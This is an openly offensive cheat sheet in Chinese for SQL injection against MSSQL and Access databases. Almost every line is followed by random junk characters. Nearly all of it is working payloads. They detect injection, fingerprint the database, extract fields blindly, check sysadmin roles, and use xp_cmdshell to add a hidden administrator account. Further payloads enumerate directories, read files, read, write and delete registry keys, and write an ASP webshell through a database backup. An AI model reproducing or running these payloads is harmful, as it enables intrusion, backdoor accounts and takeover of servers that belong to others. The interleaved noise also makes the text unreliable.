1.判断是否有注入;and 1=1 ;and 1=2 ->qRGUW
2.初步判断是否是mssql ;and user>0 \@PMj"p|:
skeeec\V
3.注入参数是字符'and [查询条件] and ''=' MNU7OX<
pej-W/R&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' (f"Qz~R|6_
!l dE9 .
5.判断数据库系统 '[6]W)f
:&5u)
;and (select count(*) from sysobjects)>0 mssql Rm3W&hQ
zecM|S _
;and (select count(*) from msysobjects)>0 access 7r,GdP .
V@+sNM
jA8Bmwt;w
MZVbOcSAd
6.猜数据库 ;and (select Count(*) from [数据库名])>0 bBINjs8C_
}vZfp5Y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Kez0Bka
2G|}ENC
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2KXFXR
&2:WezDF
9.(1)猜字段的ascii值(access) w*'DlP<7
gD%o0jt"
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6&+dpr&c~=
^Zs^
(2)猜字段的ascii值(mssql) =l2 @'Y Q
dw#pObH|`
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HziQ%QR
YeJTB}
10.测试权限结构(mssql) `!N.1RP _
,PpVZq~
Y<^Or
Up-^km
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yo5-x"ze
/p;OZf]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4Tuh]5
k'.cl^6Z8
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- bPV}T`
e8SAjl"}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- tZ) ,Z<
DFfh!KKR$
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Dt5AG
%eF=;q
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- k FRVW+
>]Mhkf/=)
;and 1=(select IS_MEMBER('db_owner'));-- q%s<y+
t`6~ud>
`j2|aX
%Z*
heES
[
11.添加mssql和系统的帐户 =J-&usX
`)=sQ2P
;exec master.dbo.sp_addlogin username;-- fuf'r>1n
;exec master.dbo.sp_password null,username,password;-- \Pfm>$Ib=
L$Xkx03lz>
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3DjX0Dx/l
f#38QP-T
;exec master.dbo.xp_cmdshell 'net user username password c[6<UkH7
z/o&r`no
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- \= 6dF,V
oj6=.
;exec master.dbo.xp_cmdshell 'net user username password /add';-- )CH\]>-FO
7CU<R9Kl
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- BMzS3;1_
FLumI-se!
8N<2RT8W
41C6ey
12.(1)遍历目录 it j&L <e
nwJub$5
;create table dirs(paths varchar(100), id int) !9S!zRy@
R-Tf9?)
;insert dirs exec master.dbo.xp_dirtree 'c:\' fn//j7 j
F{&0(6^p!
;and (select top 1 paths from dirs)>0 BC%V<6JBu(
Y>i
Qp/k:
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %B>>J%
z4[8*}
-<\hcV`&
rgv$MnG
(2)遍历目录 Wsw/ D
UWgPQ%}
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- d~CZ9h
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 of_Om$
5'rP-z~
u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 P1qnU
AhVV
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + VhD]!
{bNKyT
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =,U~
Cj)*JZVG
+o6"Z)
N,ihQB5
13.mssql中的存储过程 f2P2wt.$
DRu#vC
xp_regenumvalues 注册表根键, 子键 z}$!B.)
4n\O6$&.x
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
?D@WXE0a
p ^I#9(PT
xp_regread 根键,子键,键值名 p?<T
_9e
x]"N:t
;exec xp_regread ;:~-=\
yD^Q&1
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 c_6~zb?k+m
QlnI &o
xp_regwrite 根键,子键, 值名, 值类型, 值 %vWh1-
' '|R$9\@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ibuoq X`
|HTTTz9R.
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 =W'{xG}
4^w`]m
xp_regdeletevalue 根键,子键,值名 /kFw(l_.
csv;u'
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 O1z3(
$gcC}tX
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ESY\!X:|
*edhJUT
Z=144n 1
G8CM
14.mssql的backup创建webshell pTcN8E&Unz
jW.IkG[|
use model "&TN}SBW
wn>?r
?KIB
create table cmd(str image); {dNWQE*\c
3Yf!H-(\uB
insert into cmd(str) values (''); S4>1 d-
1NU@k6UHl
backup database model to disk='c:\l.asp'; {r[g.@
X_J(P?
>~* w
X=X
15.mssql内置函数 AI*1kxR
pM_oIH'8:
;and (select @@version)>0 获得Windows的版本号 -* piC(
{#TZFB
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5m a(~5
g5hMZPOmP
;and (select user_name())>0 爆当前系统的连接用户 ~i9'9PHX@
uKpWb1(
;and (select db_name())>0 得到当前连接的数据库 6tT*b@/_o
CDDOm8
A:Kit_A
Ub*O*nre
16.简洁的webshell J*r%b+
Xp_G9I,+
use model %D<>F&h
rTYMN
create table cmd(str image); [f@[gE
-@G,Ry-\t
insert into cmd(str) values (''); 3q$"`w
!I[|\ 4j
backup database model to disk='g:\wwwtest\l.asp';